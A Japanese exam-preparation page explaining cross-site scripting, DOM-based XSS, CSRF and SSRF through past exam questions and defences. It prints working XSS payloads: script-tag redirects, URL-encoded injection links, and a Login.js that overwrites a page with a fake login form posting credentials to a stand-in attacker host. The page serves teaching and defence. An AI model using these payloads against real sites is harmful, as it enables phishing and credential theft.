情報処理安全確保支援士 - SE娘の剣 -

左門至峰による情報処理安全確保支援士試験に合格するためのサイトです。 過去問を引用しながら、試験に出る基礎知識を体系的かつ詳細に整理します。

クロスサイト攻撃

09.4 クロスサイト攻撃

1.クロスサイトスクリプティング（XSS）

クロスサイトスクリプティング（XSS）に関して情報処理安全確保支援士試験の過去問では、「HTML出力文字列のエスケープ処理が不適切な場合、攻撃者の作成した不正なリンクによってWebサイトを閲覧した利用者のブラウザ上でスクリプトが実行される脆弱性（H23SC春PM2-2設問3(1)）」と述べられています。クロスサイトという言葉の通り、複数のサイトにまたがった（クロスした）仕組みです。
別の過去問（H28秋SG午前問22）では、「クロスサイトスクリプディングの手口」として「Webアプリケーションに用意された入力フィールドに，悪意のあるJavaScriptコードを含んだデータを入力する」と述べられています。
クロスサイトスクリプティング（Cross Site Scripting）ですから、本来はCSSという略になります。でも、スタイルシート（CSS:Cascading Style Sheets）と混同するのでXSSになりました。
簡単な例を紹介します。
以下のスクリプトを掲示板に投稿すると、その掲示板ではJavaScriptにより、悪意のサイトが起動します。

　　<script>window.open('http://ポップアップする悪意サイト');</script>

では、具体的に見て行きましょう。

（1）通常の場合
掲示板の投稿欄に「こんばんは」と入力すると、その結果が「こんばんは」として表示されます。
xss_情報セキュリティスペシャリスト試験


（2）XSSの脆弱性がある場合
掲示板の投稿欄にスクリプトを埋め込むと、悪意のあるサイトがポップアップします。ポップアップするサイトは、設定により、URLやステータスバーなどを消すことも可能です。利用者に、悪意のサイトとは気付かせないこともできるでしょう。うまくやれば、ここで、個人情報などを入力させることができます。
xss2_情報セキュリティスペシャリスト試験

または、以下を書き込むと、自動で悪意のサイトに遷移します。

　　<script>document.location = "http://本物に似せた悪意サイト/"; </script>

ここで、本物そっくりのサイトにすれば、利用者は知らず知らずに個人情報などを入力してしまうかもしれませんね。

■参考となるサイト
IPAのサイトで、巧みなXSSの脆弱性が動画で解説されています。
https://www.youtube.com/watch?v=5OF51SNJHxA

クロスサイトスクリプティングの巧妙な例は、以下に述べられています。ご参考まで。
http://itpro.nikkeibp.co.jp/article/NEWS/20060619/241207/

■実際にやってみる
以下のサイトをそのままコピーして作成しました。（ありがとうございます）
https://www.websec-room.com/2013/03/14/567

ログインURLは以下です。
http://203.0.113.62/xss/xss.php

①Cookieを取得してみる
入力する文字は以下です。
"><script>alert(document.cookie)</script><!--

Submit後の以下のHTMLはどうなるかというと、
http://203.0.113.62/xss/xss_confirm.php 

html:xss_confirm.php
<html>
<body>
　<h1>User RESIST CONFIRM</h1>
　<form action="xss_regist.php" method="get">
　 name:"><script>alert(document.cookie)</script><!--<br/>
　 URL:<br/>
　 <input type="hidden" name="name" value=""><script>alert(document.cookie)</script><!--">
　 <input type="hidden" name="url" value="">
　 <input type="submit" value="RESIST">
　 <input type="button" value="BACK" onclick="javascript:history.back();">
　</form>
</body>
</html>

つまり、<script>alert(document.cookie)</script>が実行され、それ以降は<!--　であり、コメントアウトされます。

以下のように、クエリ文字列として、以下のような値を指定したURLを送り込み、クリックさせてScriptを実行させる。先頭のドメインが日ごろ使っているドメインであれば、不正はないと思ってクリックしてしまうのである。
http://203.0.113.62/xss/xss_confirm.php?name=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--&url=

②単にアラートでhelloと表示する
http://54.250.246.220/xss_confirm.php?name=%22%3E%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E%3C%21--&url=

③ページを遷移させる
次は以下を入れてみよう。1秒かかるかかからないくらいで別のページに遷移する。
"><script>window.location='http://nw.seeeko.com';

こちらも同様で、不正なクエリ文字列を付与することで、罠サイトに誘導されてしまいます。
http://203.0.113.62/xss/xss_confirm.php?name=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fnw.seeeko.com%27%3B%3C%2Fscript%3E%3C%21--

■クロスサイトスクリプティング（XSS）の過去問
情報処理安全確保支援士試験の過去問（H28SC春午後1問1）で、クロスサイトスクリプティングの例を見てみましょう。

クロスサイトスクリプティングの例（H28SC春午後1問1）
Nさん：XSS脆弱性の影響は，警告ダイアログの表示だけではありません。例えば，攻撃者は,URLパラメタであるkeywordに攻撃用の文字列としてを組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成し，被害者に送付します。被害者がそのリンクをクリックした場合，図3の画面2-2ではなく，図5のように改変された画面2-2'が表示されます。このときのhttps://wana.example.jp/Login.jsのスクリプトは，図6のとおりです。
ds
Nさん：被害者が画面2-2'でメンバIDとパスワードを入力すると，それらは[　a　]というホスト名のWebサーバに送信されます。この場合，画面2-2'が表示された時点で，被害者が偽のログインフォームだと気付くかというと，それは難しいでしょう。
J主任：なるほど。こんな被害が発生するのですね。

設問1(1)　[　a　]に入れる適切な字句を、FQDNで答えよ。

この問題には前段がありますので少し補足します。以下の画面2-1のように、キーワードを入れるとその結果が画面2-2のように表示されます。
以下は、「チョコ」というキーワードを入れた画面です。
ab

右の画面2-2のURLは、https://kensho.m-sha.co.jp/Gamen2_2?keyword=チョコ　です。

問題文にあるように、ここで、https://kensho.m-sha.co.jp/Gamen2_2?keyword= src＝"https://wana.example.jp/Login.js"></script> というURLのリンクを作成します。

このURLを実行するとどうなるでしょうか。
画面2-2の[　チョコ　]の部分が[　script src＝"https://wana.example.jp/Login.js"></script> ] と表示されるのですが、このスクリプトを実行してしまい、図５のような画面が表示されるのです。

皆さんにも体験していただきたいので、以下を実行してみてください。

作成するファイルは2つです。

１．HTMLファイル（result.htm）
<html>
<head></head>
<body>
<h1>検索結果</h1>
<script src="./Login.js"></script>を検索した結果です。
</body>
</html>
２．JSファイル(Login.js）
document.body.innerHTML = "";  // HTML body 部を全部消去する
document.write('<H1>ログイン</H1>');
document.write('M社懸賞ページへようこそ。ログインしてください。<br>');
document.write('<form name="loginForm action="https://wana.example.jp/login" method＝"post">');
document.write('メンバID<input type="text" name="id"><br>');
document.write('パスワード<input type="password" name="password">');
document.write('<input type="submit" name="send" value="ログイン"></form>');

この２つのファイルを同じフォルダに置いて、result.htmファイルを開いてください。画面2-2のような検索結果が出るはずが、図５の画面に書き換わっていることが分かると思います。

2.DOMベースのXSS

(1)DOMとは

DOM（Document Object Model）とは、JavaScriptなどのアプリケーションからWEBページ（Document）を操作する仕組みです。以下に詳しい解説があります。
（旧リンク）https://www.ipa.go.jp/files/000024729.pdf

上記にあるように、HTMLファイルの中にJavaScriptを記載することで、HTMLファイルの文字を表示を変えることができます。単にjavascriptで書いているだけじゃん、と思った人は、それで間違っていません。知らず知らずのうちに、DOMの仕組みを活用しているのです。

この仕組みを使った、DOMベースのXSS（クロスサイトスクリプティング）にも注意する必要があります。

DOMを理解するために、上記サイトのサンプルプログラムを実行していただくといいと思います。

サンプルプログラム
<html>
<head>
<title>DOM体験のサンプルページ</title>
</head>
<body>
ここは変わりません。
<p id="p1">ここを5秒間、じっと見てください。</p>
<script type="text/javascript">
 setTimeout( function(){
  var p1_textnode = document.getElementById('p1').firstChild;
 p1_textnode.data = 'ほら、変わったでよ。わかりましたか？';
 },5000);
</script>
</body>
</html>

これを実行すると、javascriptがDOMの階層構造にしたがって id="p1"の部分にアクセスして文字を書き換えます。ここを5秒間、の部分が書き変わります。

また、DOMに関しては、以下のサイトが詳しくてわかりやすいです。
https://gihyo.jp/dev/serial/01/javascript-security/0006

(2)DOMベースのXSS

DOM（Document Object Model）ベースのXSS（クロスサイトスクリプティング）についてです。
XSSには、反射型と格納型とDOM based XSSの3つに分けられます。
多くのサイトなので解説がされているのが、反射型のXSSです。対策の中心はエスケープ処理です。
IPAのサイトが分かりやすすぎるので、改めて解説する気も起きなくなります・・・。
（旧リンク）https://www.ipa.go.jp/files/000024729.pdf

が、私なりに書いてみると、

➀従来のXSS（反射型XSS）
　クライアント→（URLにアクセス）→サーバ
　　　　　　　←（コンテンツを送る）
　　　　　　　→（スクリプトを入れて送る）
　　　　　　　←（スクリプトを組み込まれたものがクライアントに送付）
　発露

②DOM based XSS
　クライアント→（URLにアクセス）→　サーバ
　　　　　　　←（コンテンツを送る）
　発露

※javaScriptなので、サーバは無関係にクライアント側で実施される
　また、サーバにJavaScript部分の記載は送られないので、サーバにログも残らない。

攻撃手法ですが、具体的にはURLに#とスクリプトを付与します。

■情報処理安全確保支援士試験の過去問（H26秋SC午後Ⅱ問2）をみてみましょう。

過去問（H26秋SC午後Ⅱ問2）
（Ⅰ）DOMベースのXSSの対策
JavaScriptによるWebページ操作に問題がある場合に起きるXSSは,DOMベースのXSSと呼ばれている。JavaScriptを利用する場合は，注意が必要である。
例えば，図2に示すHTML（HTTP://www.example.jp/domXSS.html）があった場合に，図3に示すURIにブラウザからアクセスすると，“1"という警告ダイアログが表示される。
20231006230318
図2　HTML
(HTTP://www.example.jp/domXSS.html）

20231006230442
図3　警告ダイアログが表示されるURI

　反射型（reflected型,non-persistent型）のXSSと違って,DOMベースのXSSでは攻撃者が注入するデータがWebサイトからの応答中に出力されない。ブラウザ上のHTMLデータに入力データを動的に挿入するようなJavaScriptが応答中に含まれていると，入力データにスクリプトが含まれていたときに，そのスクリプトがブラウザ上で実行されてしまう。そのため、DOMベースのXSSは，③反射型のXSSとは診断方法が異なる。
　DOMベースのXSSの対策のためには，"document.write", "innerHTML"などの，動的にブラウザ上のHTMLデータを操作するメソッドやプロパティを使用するのではなく，"createElement"などのDOM操作用のメソッドやプロパティを使用して，ブラウザ上のHTMLデータを構築することが必要である。

図２のスクリプトを簡単に言うと、「リンクのうちhash（#）以降の文字列をブラウザに表示しなさい」ということです。
　もう少し詳しく説明します。 

document.write(decodeURIComponent(location.hash));

hash（ハッシュ）とは記号の「#」のことです。
　・location.hashによりURIにおけるハッシュ(#）以降の部分を取得する。
　・decodeURIComponentによりdecodeされた状態の文字にする。
　・document.write関数によりハッシュ(#)以降の文字列をブラウザに表示する。

では、この仕組みを用いて、問題文にある「"1"という警告ダイアログを表示」させるにはどうしたらいいか。
\#のあとに警告ダイアログが表示させるスクリプト文字を挿入します。
　http://www.example.jp/domXSS.html# <script>alert(1)</script>
　この結果、#以降の<script>alert(1)</script>が文字として取得され,警告ダイアログが表示されます。
aa

さて、上記のスクリプトですが、最近やってみたら、うまく動作しませんでした。ブラウザが対処しているのか調査が必要ですが・・・

以下に、DOMベースのXSSが具体的に記載されています。
https://www.ubsecure.jp/blog/dom-based-xss

3.クロスサイトリクエストフォージェリ（Cross Site Request Forgeris）

(1)概要と仕組み

以下に詳しい解説があるので見ていただきたい。
http://www.ipa.go.jp/security/vuln/vuln_contents/csrf.html

情報処理安全確保支援士試験の過去問では、クロスサイトリクエストフォージェリ」について、以下のように解説されている。

解説「クロスサイトリクエストフォージェリ」（H23SC春PM2-2設問3(1)）
利用者のブラウザによって、利用者の意図しないリクエストがWebサーバに送信され、ログイン中の利用者にだけ許可されたWebサイトの機能が勝手に実行される脆弱性。

ポイントは、「ログインしている」ということです。ログインしなければできない権限での不正ですから、たとえば、ログイン状態でのみ行える購買や決済行為をしてしまうとか、本人の名で不正な書き込みをしてしまうなどが引き起こされます。

過去問（H23秋AP午後問9）
[　　]に入る字句を述べよ。

「今回のように、ログインした会員だけが、予期しない処理を実行させられてしまうセキュリティ攻撃は、[　　]と呼ばれている。
　この攻撃が成功する主たる要因は、会員の正しい要求と悪意のあるコードの要求を区別できないことである」

SNSサイトなどにCookieなどのセッション情報を保持したままスクリプトが自動実行されます。これにより、意図しない書き込みがされたり、商品購入サイトで勝手な購入がされることがあります。対策に関しては、H23秋AP問9設問4に書かれています。
↓
↓
↓
↓
↓
正解は、「クロスサイトリクエストフォージェリ（Cross Site Request Forgeris）」です。フォージェリ（forgery）とは「偽造」という意味です。「サイトをまたがって（Cross Site）のリクエストの偽造」と考えればよいでしょう。
情報セキュリティスペシャリスト試験を目指す女性SE


どちらもサイトをまたがって（クロスサイト）の攻撃ですよね？
違いがよくわかりません。

ポイントは、SNSなどにログインしているのかどうかです。ログインしなければできない処理がいくつかあります。たとえば、会員情報を書き換えたり、その会員としてメッセージを投稿することなどです。

流れを以下の図で説明します。攻撃者は、罠サイトに誘導するリンクを含んだメールを送る（①）。利用者はSNSにログイン状態だったとする（②）。利用者が正しいリンクと勘違いして、リンクをクリックする（③）。会員サイトでスクリプトが実行され、会員情報の書き換えなどが行われる（④）。

Q.なぜ罠サイトを経由する？　直接書き換えたいサイトとそのスクリプトを埋め込んだURLを作ったら？

↓
↓
↓
↓
↓
A.URLの接続先を見て、利用者が不審に思う。あくまでも、罠サイトと通信させようとして、誤作動をさせる

Q.SNSにログインしてれば、成功するの？

↓
↓
↓
↓
↓
A.セッションを保持していると、そのセッション情報をもって、書換えたいサイトにアクセスするので、受け取った側（サイト）は信頼してしまう。

過去問（H23秋AP問9）には、被害の具体例を含めた記述がありますので、クロスサイトリクエストフォージェリの動作を理解する意味で、参考にしてください。

〔想定される原因〕
（１）会員掲示板ページを出力する処理に問題があり，この問題を悪用した<script>タグを用いた悪意のあるコードが，会員掲示板ページに埋め込まれた形跡があった。
（２）ログインした会員が，この悪意のあるコードが埋め込まれた会員掲示板ページを参照すると，そのコードが自動的に実行され，会員の登録情報を書き換える処理や特定の商品の注文処理が行われるようになっていた。

また、どんな被害や問題が発生するかは、以下の記述が参考になります。

〔原因から想定される脅威〕
（１）登録情報や会員掲示板情報に対して，ログインした会員が予期しない処理を勝手に実行させられることによって起こる情報の改ざん
（２）ログインした会員が予期しない注文処理を勝手に実行させられることによって起こるサービスの悪用
(2)クロスサイトリクエストフォージェリ（CSRF）対策

IPAの資料に、CSRF対策が記載されています。

CSRF対策（IPA資料）
リクエスト強要（CSRF）への対策は、ユーザ本人以外の者が捏造（ねつぞう）したコンテンツに基づいて発せられたHTTPリクエストを Webアプリケーションが受け付けないようにすることである。
そのためには、代金決済やコミュニティ脱退等の重要な処理の場面において、秘密の「照合情報」をWebアプリケーションとブラウザの間でやりとりし、第三者が用意した偽のコンテンツから発せられたリクエストを区別できるようにする。
具体的には、フォームを表示するプログラムによって他者が推定困難なランダム値を hiddenフィールドとして埋め込み送信し、フォームデータを処理するプログラムによってそのランダム値がフォームデータ内に含まれていることを確認する。
そのランダム値がフォ－ムデータに含まれていない場合、処理を見合わせるようにする。
（https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/301.htmlより）


では、この知識を踏まえ、情報処理安全確保支援士試験の過去問（H28春SC午後Ⅰ問1）を解いてみましょう。

過去問（H28春SC午後Ⅰ問1）
(2)フレームワークにCSRF対策機能がない場合は，次のルールに従った実装をして, CSRF対策とする。
・ POSTメソッドによるアクセスだけを用いる。
・前画面で,HTMLフォーム内に[　e　]を[　f　]フィールドの値として埋め込む。
・画面遷移時に受信したデータが，埋め込んだ[　e　]と一致するかを確認する。

↓
↓
↓
↓
↓
さて、先ほどのIPAの解説資料の通りです。
攻撃者が推測可能な文字ではいけませんので、eにはランダム値を入れます。フィールドとしては、hiddenフィールドを使います。
※hiddenフィールドを使うには、GETではなくPOSTメソッドの必要があるのです。

【解答】
e　ランダムな値
f　hidden

過去問（H31春SC午前2問10）
問10　クロスサイトリクェストフォージェリ攻撃の対策として，効果がないものはどれか。
ア　Webサイトでの決済などの重要な操作の都度，利用者のパスワードを入力させる。
イ　Webサイトへのログイン後，毎回異なる値をHTTPレスポンスに含め, Webブラウザからのリクエストごとに送付されるその値を, Webサーバ側で照合する。
ウ　Webブラウザからのリクエスト中のRefererによって正しいリンク元からの遷移であることを確認する。
エ　WebブラウザからのリクエストをWebサーバで受け付けた際に，リクエストに含まれる "<" や ">" などの特殊文字を，タグとして認識されない "&lt;" や "&gt;" などの文字列に置き換える。

↓
↓
↓
↓
↓
エ

4.サーバサイドリクエストフォージェリ（Server Side Request Forgeris）

(1)概要と仕組み

SSRF（Server Side Request Forgery）は、サーバへのリクエストを偽装します。
たとえば、外部に公開されているWebサーバに処理が不適切な部分があると、
攻撃者はそこにスクリプトを送り込み、本来は公開されていない内部のDBサーバに不正な処理をします。